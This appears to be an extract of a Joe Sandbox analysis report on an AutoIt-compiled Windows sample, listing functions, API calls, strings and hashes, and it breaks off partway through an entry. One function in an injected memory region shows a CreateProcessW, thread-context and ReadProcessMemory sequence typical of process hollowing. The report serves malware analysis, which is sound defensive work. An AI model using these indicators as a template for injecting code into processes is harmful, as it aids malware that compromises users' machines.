Opcode Fuzzy Hash: ca3e1d53b90e5d67fb3dd7f2ab13feb96987e8713d797ea5645d196cf0e26c4c
Instruction Fuzzy Hash: FD314771845358AFDB10CFA4E898AD9BFF1FB09311F18956FE581A62A0D3B50580CF91

Function 00593041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00593074
RegisterClassExW.USER32(00000030), ref: 0059309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005930AF
InitCommonControlsEx.COMCTL32(?), ref: 005930CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005930DC
LoadIconW.USER32(000000A9), ref: 005930F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00593101

Strings

+, xrefs: 0059305D
TaskbarCreated, xrefs: 005930A4
AutoIt v3 GUI, xrefs: 00593090
0, xrefs: 00593056

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: e5d91f8dcd065e60c2605adea390330ea28fa61f1b4197bef804ca176bf00668
Instruction ID: 959de84eb2d298b24872feee8ce2c460ec2dc4de41aa34bd741fcad8aaf403e2
Opcode Fuzzy Hash: e5d91f8dcd065e60c2605adea390330ea28fa61f1b4197bef804ca176bf00668
Instruction Fuzzy Hash: CB21F4B1D11718AFDB00DFA4EC98BDDBBF6FB08701F04912AF912A62A0D7B145448F91

Function 0059708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00594706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,006552F8,?,005937AE,?), ref: 00594724

Part of subcall function 005B050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00597165), ref: 005B052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 005971A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 005CE8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 005CE909
RegCloseKey.ADVAPI32(?), ref: 005CE947
_wcscat.LIBCMT ref: 005CE9A0

Strings

\Include\, xrefs: 00597165
Include, xrefs: 005CE8BF, 005CE900
\, xrefs: 005CE9C3
Software\AutoIt v3\AutoIt, xrefs: 0059719E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: db2a6b40a269d3a507d40196ee5bea41331547f628b104023258337ef26e4c3b
Instruction ID: 75ceea47e97a8125645fa7e6ac9b8720e08def0d159fa0d2ee73f1f69212bb0d
Opcode Fuzzy Hash: db2a6b40a269d3a507d40196ee5bea41331547f628b104023258337ef26e4c3b
Instruction Fuzzy Hash: 36716C715083029EC704EF65EC469ABBFE9FF88351F80592EF445871A0EB71DA49CB52

Function 00593633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 005936D2
KillTimer.USER32(?,00000001), ref: 005936FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0059371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0059372A
CreatePopupMenu.USER32 ref: 0059373E
PostQuitMessage.USER32(00000000), ref: 0059374D

Strings

%b, xrefs: 005CD081, 005CD0CF
TaskbarCreated, xrefs: 00593725

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated$%b
API String ID: 129472671-3951050050
Opcode ID: 480746e9a1f526168caf702f724fd851b6d87512a574155e505c632e131b390b
Instruction ID: e012b044ebb196fd58ea3c9db0bb4dd050e66c3f54a0568093061f6b8bdb3492
Opcode Fuzzy Hash: 480746e9a1f526168caf702f724fd851b6d87512a574155e505c632e131b390b
Instruction Fuzzy Hash: CF4126B1200606FBDF109FE8ED1DBB93FA6FB41301F141529FA03D62A1DA619F459762

Function 00593A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00593A50
LoadCursorW.USER32(00000000,00007F00), ref: 00593A5F
LoadIconW.USER32(00000063), ref: 00593A76
LoadIconW.USER32(000000A4), ref: 00593A88
LoadIconW.USER32(000000A2), ref: 00593A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00593AC0
RegisterClassExW.USER32(?), ref: 00593B16

Part of subcall function 00593041: GetSysColorBrush.USER32(0000000F), ref: 00593074
Part of subcall function 00593041: RegisterClassExW.USER32(00000030), ref: 0059309E
Part of subcall function 00593041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005930AF
Part of subcall function 00593041: InitCommonControlsEx.COMCTL32(?), ref: 005930CC
Part of subcall function 00593041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005930DC
Part of subcall function 00593041: LoadIconW.USER32(000000A9), ref: 005930F2
Part of subcall function 00593041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00593101

Strings

0, xrefs: 00593AF4
AutoIt v3, xrefs: 00593B05
#, xrefs: 00593AFB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: d92a2d0d9846bbbd58e031091ed49a2d95cb29778360a1439fed08eb03703073
Instruction ID: bf6f2c084bb01a91ca1100a8a924ac6e87844fcfd3a17ca8a22d7b00e8d8e724
Opcode Fuzzy Hash: d92a2d0d9846bbbd58e031091ed49a2d95cb29778360a1439fed08eb03703073
Instruction Fuzzy Hash: 5B213770D10708AFEB10DFA4EC19B9D7FB2FB08712F04512AF505A62A1D3B696408F94

Function 00593766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMDLINERAW, xrefs: 005937FB
Re, xrefs: 005CD213
CMDLINE, xrefs: 00593822
/AutoIt3OutputDebug, xrefs: 00593892
/AutoIt3ExecuteLine, xrefs: 005938A7
/ErrorStdOut, xrefs: 0059387D
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 005937AE
/AutoIt3ExecuteScript, xrefs: 005938BC

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$Re
API String ID: 1825951767-2818878043
Opcode ID: 0865966dca9290242ee37f3605c2646bc882b25546c94dab7098f7ae717c45ef
Instruction ID: ea62fd697542dc7d93880a6b62367b1a80b6144223fbe69eb2a92f065f18a1ea
Opcode Fuzzy Hash: 0865966dca9290242ee37f3605c2646bc882b25546c94dab7098f7ae717c45ef
Instruction Fuzzy Hash: ABA15C7191021E9ADF04EBA4DC99EFEBF79BF95300F440429F416A7191EF746A09CBA0

Function 0059F76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005B0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 005B0193
Part of subcall function 005B0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 005B019B
Part of subcall function 005B0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 005B01A6
Part of subcall function 005B0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 005B01B1
Part of subcall function 005B0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 005B01B9
Part of subcall function 005B0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 005B01C1

Part of subcall function 005A60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0059F930), ref: 005A6154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0059F9CD
OleInitialize.OLE32(00000000), ref: 0059FA4A
CloseHandle.KERNEL32(00000000), ref: 005D45C8

Strings

Se, xrefs: 0059F7EB
\Te, xrefs: 0059F7F7
%b, xrefs: 0059F796, 0059F7A8, 0059F96E, 0059FA51
<We, xrefs: 0059F930

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <We$\Te$%b$Se
API String ID: 1986988660-245797096
Opcode ID: e2d70663f37be3e4c596c4b868b235b5b83fd22f78bbe398b49d294fe286c4fe
Instruction ID: ebfa7918a47258702d9100c6af14219b240f5d9d096e95661fd4ce86ec9eb197
Opcode Fuzzy Hash: e2d70663f37be3e4c596c4b868b235b5b83fd22f78bbe398b49d294fe286c4fe
Instruction Fuzzy Hash: 4A81AAB0915B41CF8784DF29E86D6297FE7FB98307F90A12A941BCB271EB7054858F11

Function 011C2620 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 011C26F1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 011C2917

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: c69e8af538ca099f1199ea1a41374fe769c00d7324591793f5319154b009097c
Instruction ID: f2410e0f15c71465e3d3007370b5c647b26123b5a549ee2a99e34a2ae8066011
Opcode Fuzzy Hash: c69e8af538ca099f1199ea1a41374fe769c00d7324591793f5319154b009097c
Instruction Fuzzy Hash: 0EA10874E00209EBDB18CFA4C894BEEBBB5BF58B04F20815DE611BB281D7759A81CF55

Function 005939D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00593A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00593A24
ShowWindow.USER32(00000000,?,?), ref: 00593A38
ShowWindow.USER32(00000000,?,?), ref: 00593A41

Strings

AutoIt v3, xrefs: 005939FB, 00593A00, 00593A01
edit, xrefs: 00593A1E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: ba82e93ecd0b757e9f7dc0e1470f524020db7059dd8651f3733bcdd8f5ebc7ee
Instruction ID: 46a9c60082aef74679fd826cbe72b023c7201206e63cf1446898e018b0e55da8
Opcode Fuzzy Hash: ba82e93ecd0b757e9f7dc0e1470f524020db7059dd8651f3733bcdd8f5ebc7ee
Instruction Fuzzy Hash: 53F03A70540790BEEB319B23AC1CE6B3E7FD7C6F51F04502AB909A21B0C2A11840CBB0

Function 011C23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 158
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 011C22A0: Sleep.KERNELBASE(000001F4), ref: 011C22B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 011C250A

Strings

9N2A3V0V5W2MXDODV9869EM1E051, xrefs: 011C256D, 011C2570

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateFileSleep
String ID: 9N2A3V0V5W2MXDODV9869EM1E051
API String ID: 2694422964-416806833
Opcode ID: 978733a53b2c6cc401b2003a183a9155f9dbb834a5130822b1e66bad49dd25cf
Instruction ID: 9bee78753a7b8eae5857a3c8e8005d9eacee07021e34b6c9b9c50f8a6f9ee92d
Opcode Fuzzy Hash: 978733a53b2c6cc401b2003a183a9155f9dbb834a5130822b1e66bad49dd25cf
Instruction Fuzzy Hash: CC618230D04288DBEF15DBA8D814BEFBB79AF29704F044199E2457B2C1D7BA0B49CB65

Function 0059407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 005CD3D7

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

_memset.LIBCMT ref: 005940FC
_wcscpy.LIBCMT ref: 00594150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00594160

Strings

Line: , xrefs: 005CD400

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 3081263409c040ae451f96f05f941f314b63e33c9b31d90c3b65f4fa899d97b8
Instruction ID: 9da498f275e71566e69c4ee137fb2bc9b49f82470315be8fc006197455d53b0b
Opcode Fuzzy Hash: 3081263409c040ae451f96f05f941f314b63e33c9b31d90c3b65f4fa899d97b8
Instruction Fuzzy Hash: A931B071008706AEDB21EB60DC4DFDB7BD9BF94300F10491EF586960A1EB70AA49CB97

Function 005B541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 005B547B
_memcpy_s.LIBCMT ref: 005B54ED
__read_nolock.LIBCMT ref: 005B554B
__filbuf.LIBCMT ref: 005B556E
_memset.LIBCMT ref: 005B55B2

Part of subcall function 005B8B28: __getptd_noexit.LIBCMT ref: 005B8B28

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: 6e15f99a0d97d18257cdb49f389a01d816c347d8289af3bf9b117739d4cacdcc
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: 06518570A00B05DBDF289EA9D8447EE7FA6BF40321F248729F825962D1E771BD908B40

Function 0059686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00594DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,006552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00594E0F

_free.LIBCMT ref: 005CE263
_free.LIBCMT ref: 005CE2AA

Part of subcall function 00596A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00596BAD

Strings

Bad directive syntax error, xrefs: 005CE292
>>>AUTOIT SCRIPT<<<, xrefs: 005CE039

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: cede900c7fbcefeb84c5fc3371f13bdbd84647589a95eda8d31b0b685a8d0414
Instruction ID: 9dc346a9cccbaa967ee647ed385bfecb23f9dda87998031f94432b4d74eb99ae
Opcode Fuzzy Hash: cede900c7fbcefeb84c5fc3371f13bdbd84647589a95eda8d31b0b685a8d0414
Instruction Fuzzy Hash: 5091607191021A9FCF04EFA4CC96AEDBBB8FF49310B14442DF815AB2A1DB74AD15CB50

Function 005935B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,005935A1,SwapMouseButtons,00000004,?), ref: 005935D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,005935A1,SwapMouseButtons,00000004,?,?,?,?,00592754), ref: 005935F5
RegCloseKey.KERNELBASE(00000000,?,?,005935A1,SwapMouseButtons,00000004,?,?,?,?,00592754), ref: 00593617

Strings

Control Panel\Mouse, xrefs: 005935D2

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 491e33c242f57ff43437f552de8489997e4632d19ca72e79e91374af3c678e31
Instruction ID: a43bdf3a1c17b9718f5d55a6222fc3c4eae040696949a9cd8462c83ad8fc8023
Opcode Fuzzy Hash: 491e33c242f57ff43437f552de8489997e4632d19ca72e79e91374af3c678e31
Instruction Fuzzy Hash: 10113371610208FADF208FA8D880AEABBB9EF04744F00946AE805D7210E2719E409BA0

Function 011C12A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 011C1ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 011C1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 011C1B13

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: e235fc09ec9bfc9c0206b74767dc68ebb1ba0de80392d7b4ec5f78f608a2290d
Instruction ID: 5dd071915fd1666f0beea0bed336ff01e28989f179a085d555d368b8fd6a5ec5
Opcode Fuzzy Hash: e235fc09ec9bfc9c0206b74767dc68ebb1ba0de80392d7b4ec5f78f608a2290d
Instruction Fuzzy Hash: C4621C30A14658DBEB28DFA4C850BDEB372EF68700F1091A9D10DEB391E7759E81CB59

Function 005F955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00594EE5: _fseek.LIBCMT ref: 00594EFD

Part of subcall function 005F9734: _wcscmp.LIBCMT ref: 005F9824
Part of subcall function 005F9734: _wcscmp.LIBCMT ref: 005F9837

_free.LIBCMT ref: 005F96A2
_free.LIBCMT ref: 005F96A9
_free.LIBCMT ref: 005F9714

Part of subcall function 005B2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,005B9A24), ref: 005B2D69
Part of subcall function 005B2D55: GetLastError.KERNEL32(00000000,?,005B9A24), ref: 005B2D7B

_free.LIBCMT ref: 005F971C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 6cef8eb787e4e551deb87a41cfcc5f328edab007a71f9a3129ff1eb0514b26a6
Instruction ID: 5ec4deec42a75a6eb4d1a30b4ccbaec3f30b53fffb7b2bd1ad0cd94c43cf39f4
Opcode Fuzzy Hash: 6cef8eb787e4e551deb87a41cfcc5f328edab007a71f9a3129ff1eb0514b26a6
Instruction Fuzzy Hash: 6E514CB1914219AFDF249F64CC85AAEBBB9FF88300F10449EB209A7241DB755A81CF58

Function 005B470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005B47A0
__flush.LIBCMT ref: 005B47C0
__write.LIBCMT ref: 005B47F3
__flsbuf.LIBCMT ref: 005B4821

Part of subcall function 005B8B28: __getptd_noexit.LIBCMT ref: 005B8B28

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
